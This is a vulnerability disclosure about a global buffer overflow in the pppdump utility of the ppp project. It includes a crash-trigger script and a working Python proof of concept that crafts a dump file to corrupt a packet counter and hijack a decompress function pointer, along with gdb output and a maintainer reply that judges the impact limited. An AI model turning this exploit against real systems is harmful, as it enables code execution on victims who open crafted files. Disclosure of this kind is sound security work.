Global overflow in pppdump leads to RCE in ppp-project/ppp
Reported on
Jun 28th 2022
Global overflow vulnerability in pppdump
A global overflow vulnerability is present in the pppdump utility of the ppp repo which may lead to code execution.
Specifically when the -p
flag is given for enabling the pppmode
on the pppdump
command, a malicious crafted
pppdump file can trigger a global overflow which can be exploited to gain code execution.
The main cause of the global overflow is:
- The length of a ppp packet can get up to 0xffff and it's attacker controllable
- The size of the buffer in both rpkt and spkt structures is constant: 8196 bytes.
The length of a ppp packet is read here.
int n;
...
n = getc(f);
n = (n << 8) + getc(f);
...
An attacker can enter a bigger packet than expected from the spkt/rpkt. Then later when the packet is read and saved on the spkt/rpkt buffer here the attacker can trigger a global overflow on the spkt/rpkt structures.
struct pkt {
int cnt;
int esc;
int flags;
struct compressor *comp;
void *state;
unsigned char buf[8192];
} spkt, rpkt;
Because the attacker can control from which structure spkt/rpkt to trigger the global overflow, and the program sequentially reads new packets from the pppdump file, he can trigger the global overflow from the spkt
to corrupt the rpkt->cnt
field of the rpkt
to gain a relative write primitive (or in 32 bits an arbitrary write) on the next packet. This is enough to achieve an arbitrary write on 32 bits and compromise the system by overwriting glibc data, but on 64 bits it's not enough to "reach" useful code on the loaded shared libraries.
The attacker can still leverage the fact that the rpkt->cnt
field is a signed integer and attack the data present on the .bss
by using negative values. A PoC which demonstrates this on a 64 bit version of the pppdump utility can be found below.
In the below PoC I demonstrate the ability to call pkt->comp->decompress() on arbitrary attacker controllable data (0xdeadbeef). If either the ASLR or PIE is not enabled, an attacker can turn this primitive to actual code execution.
To only confirm the global overflow the following script can be used:
pkt = b'\x02' + b'\xff\xff' + b'A'*0xffff
with open('payload', 'wb') as payload:
payload.write(pkt)
print('Run: pppdump -p payload')
Proof of Concept
import struct
# pip3 install crcmod
import crcmod
# This exploit only demonstrates the capability to turn the Global overflow
# into an RCE. For actually exploiting the program, a memory leak is necessary.
# The exploit assumes an attacker controllable dump file to passed as an input
# to the following command: pppdump -p attackers_dump_file
PPP_INITFCS = 0xffff
PPP_GOODFCS = 0xf0b8
CCP_ISUP = 1
CCP_ERROR = 2
CCP_FATALERROR = 4
CCP_ERR = (CCP_ERROR | CCP_FATALERROR)
CCP_DECOMP_RUN = 8
# Prepare payload
spkt_option = b'\x01'
spkt_n = b'\x20\x04' # = (0x20 << 8) + 4 = 8192 + 4 (Global overflow)
spkt_buf = b'A'*8192
# We wish to corrupt the cnt field of the rpkt structure inorder to gain
# a relative write primitive. With this primitive we wish to enable the
# 'decompress' option flag (in case if it was not given) and gain
# code execution by corrupting the 'compress' struct of the rpkt structure.
rpkt_cnt = struct.pack('i', -0x2074)
spkt = spkt_option + spkt_n + spkt_buf + rpkt_cnt
nrpkt_flags = CCP_ISUP | CCP_DECOMP_RUN
# struct pkt {
nrpkt_cnt = struct.pack('i', 0x00000000) # int cnt;
nrpkt_esc = struct.pack('<I', 0x00000000) # int esc;
nrpkt_flags = struct.pack('<I', nrpkt_flags) # int flags;
padding_4 = struct.pack('i', 0x00000000) # XXX 4-byte hole
nrpkt_comp = struct.pack('<Q', 0xdeadbeef) # struct compressor *comp;
nrpkt_state = struct.pack('i', 0x00000001) # void *state;
# }
forge_new_rpkt = nrpkt_cnt + nrpkt_esc \
+ nrpkt_flags + padding_4 \
+ nrpkt_comp + nrpkt_state
rpkt_buf = b'YEAH' + b'A'*0x30 + forge_new_rpkt
rpkt_n = ((len(rpkt_buf) & 0xffff) >> 8).to_bytes(1, 'big') + \
(len(rpkt_buf) & 0xff).to_bytes(1, 'big')
rpkt_option = b'\x02'
rpkt = rpkt_option + rpkt_n + rpkt_buf
proto = b'\xfd' # PPP_COMP
shrtpkt = proto + b'AAA'
crc16 = crcmod.mkCrcFun(0x11021, rev=True,initCrc=0x0000, xorOut=0xFFFF)
fcs = crc16(shrtpkt)
fcs = struct.pack('h', fcs)
shrtrpkt = b'\x01' + b'\x00\x07' + shrtpkt + fcs + b'~'
payload = spkt + rpkt + shrtrpkt
with open('poc', 'wb') as poc:
poc.write(payload)
print('[+] Payload is ready.')
Running it on gdb with debugging symbols and with the source code included:
$ gdb --args ./pppdump -p ./poc
Program received signal SIGSEGV, Segmentation fault.
dumpppp (f=0x5555555712a0) at pppdump.c:343
343 rv = pkt->comp->decompress(pkt->state, r,
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────
RAX 0xdeadbeef
RBX 0x0
RCX 0x5
RDX 0x3
RDI 0x5555555712a0 ◂— 0xfbad2488
RSI 0xf
R8 0x3
R9 0x555555571480 ◂— 0x2ffffdf8c414141
R10 0x77
R11 0x246
R12 0x7fffffffddc8 —▸ 0x7fffffffe166 ◂— '/home/un1c0rn/Desktop/dump/ppp/builded/sbin/pppdump'
R13 0x555555555369 (main) ◂— endbr64
R14 0x555555566d38 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555320 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
RBP 0x7fffffffdc70 —▸ 0x7fffffffdcb0 ◂— 0x3
RSP 0x7fffffffdbe0 —▸ 0x7ffff7e0a060 (flush_cleanup) ◂— endbr64
RIP 0x555555555e1d (dumpppp+1268) ◂— mov r9, qword ptr [rax + 0x28]
───────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────
► 0x555555555e1d <dumpppp+1268> mov r9, qword ptr [rax + 0x28]
0x555555555e21 <dumpppp+1272> mov rax, qword ptr [rbp - 0x20]
0x555555555e25 <dumpppp+1276> sub rax, qword ptr [rbp - 0x40]
0x555555555e29 <dumpppp+1280> mov edi, eax
0x555555555e2b <dumpppp+1282> mov rax, qword ptr [rbp - 0x28]
0x555555555e2f <dumpppp+1286> mov rax, qword ptr [rax + 0x18]
0x555555555e33 <dumpppp+1290> lea rcx, [rbp - 0x70]
0x555555555e37 <dumpppp+1294> mov rdx, qword ptr [rbp - 0x38]
0x555555555e3b <dumpppp+1298> mov rsi, qword ptr [rbp - 0x40]
0x555555555e3f <dumpppp+1302> mov r8, rcx
0x555555555e42 <dumpppp+1305> mov rcx, rdx
───────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────
In file: /home/un1c0rn/Desktop/dump/ppp/pppdump/pppdump.c
338 } else if (proto == PPP_COMP) {
339 if ((pkt->flags & CCP_ISUP)
340 && (pkt->flags & CCP_DECOMP_RUN)
341 && pkt->state
342 && (pkt->flags & CCP_ERR) == 0) {
► 343 rv = pkt->comp->decompress(pkt->state, r,
344 endp - r, d, &dn);
345 switch (rv) {
346 case DECOMP_OK:
347 p = dbuf;
348 nb = d + dn - p;
───────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdbe0 —▸ 0x7ffff7e0a060 (flush_cleanup) ◂— endbr64
01:0008│ 0x7fffffffdbe8 —▸ 0x5555555712a0 ◂— 0xfbad2488
02:0010│ 0x7fffffffdbf0 ◂— 0x0
03:0018│ 0x7fffffffdbf8 ◂— 0xf0b8000000000000
04:0020│ 0x7fffffffdc00 ◂— 0x7e55564046 /* 'F@VU~' */
05:0028│ 0x7fffffffdc08 ◂— 0x600000001
06:0030│ 0x7fffffffdc10 ◂— 0xfd00000004
07:0038│ 0x7fffffffdc18 —▸ 0x5555555712a0 ◂— 0xfbad2488
─────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
► f 0 0x555555555e1d dumpppp+1268
f 1 0x5555555554f5 main+396
f 2 0x7ffff7da6d90 __libc_start_call_main+128
f 3 0x7ffff7da6e40 __libc_start_main+128
f 4 0x5555555552a5 _start+37
────────────────────────────────────────────────────────────────────────────────────────────────────────
Impact
This vulnerability is capable of triggering a global overflow which might lead to code execution on the victim side by running malicious crafted ppp packets with the pppdump utility.
SECURITY.md
a year ago
Yes there is a buffer overflow here. The analysis is slightly incorrect in that the value of n is irrelevant - it describes the length of a block of recorded characters in the pppdump file, but each block of recorded characters can contain multiple PPP packets.
Fortunately, pppdump is not invoked automatically in any scenario that I am aware of, is not used in the normal process of setting up a PPP connection, and is not installed setuid-root.
Fortunately, the impact is minimal, and can be a threat, only if an attacker manages to force someone to inspect malicious crafted ppp packets using the pppdump utility.